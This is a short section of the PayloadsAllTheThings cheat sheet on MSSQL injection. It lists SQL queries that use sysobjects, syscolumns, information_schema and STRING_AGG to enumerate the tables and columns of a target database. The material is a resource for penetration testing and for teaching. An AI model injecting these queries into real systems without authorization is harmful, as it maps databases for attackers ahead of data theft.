MSSQL Injection: MSSQL List Tables

-- use xtype = 'V' for views
SELECT name FROM master..sysobjects WHERE xtype = 'U';
SELECT name FROM <DBNAME>..sysobjects WHERE xtype='U'
SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U';

-- list column names and types for master..sometable
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable';

SELECT table_catalog, table_name FROM information_schema.columns
SELECT table_name FROM information_schema.tables WHERE table_catalog='<DBNAME>'

-- Change delimiter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options  (Only works in MSSQL 2017+)
SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U';

Source: SQL Injection/MSSQL Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.